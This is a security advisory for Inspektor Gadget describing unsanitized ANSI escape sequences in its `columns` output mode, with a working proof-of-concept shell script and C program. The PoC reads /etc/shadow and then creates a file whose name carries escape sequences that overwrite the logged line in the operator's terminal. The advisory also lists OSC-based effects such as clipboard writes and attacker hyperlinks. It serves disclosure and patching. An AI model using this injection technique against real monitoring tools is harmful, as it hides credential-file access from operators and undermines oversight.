GHSA-34r5-6j7w-235f

Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode

### Description String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects. The `columns` output mode is the default when running `ig run` interactively. ### PoC #### Attachments run.sh ```bash #!/bin/bash set -e SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" CONTAINER_NAME="poc-escape-inject" echo "Make sure ig is running in another terminal:" echo " sudo ig run trace_open -c ${CONTAINER_NAME}" echo "" echo "Press Enter to continue..." read -r sudo docker run --rm \ --name "${CONTAINER_NAME}" \ -v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \ gcc:latest \ bash -c " gcc -o /tmp/escape_inject /src/escape_inject.c && \ /tmp/escape_inject " ``` escape_inject.c ```c #include <fcntl.h> #include <stdio.h> #include <unistd.h> static void read_file(const char *path) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } static void create_file(const char *path) { int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd >= 0) close(fd); } int main(void) { printf("[1] normal activity\n"); create_file("/tmp/app.log"); printf("[2] malicious read of /etc/shadow\n"); read_file("/etc/shadow"); usleep(300000); printf("[3] tampering the log\n"); create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C"); usleep(300000); return 0; } ``` 1. Setup a Linux host and build/install `ig` version `0.48.0` 2. Run the attached `run.sh` on a terminal 3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal 4. Press "Enter" on the terminal attached to `run.sh` 5. Observe the events traced by `ig` 6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection ### Impact The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output. At the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones. However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to: - lead to DoS (Denial of Service) - write to the system clipboard - create hyperlinks to attacker-controlled servers - change window title - potentially execute code (see referenced resources) ### Resources - https://www.youtube.com/watch?v=spb8Gk9Z09Y ### Notes The `json` output mode was already sanitizing the content.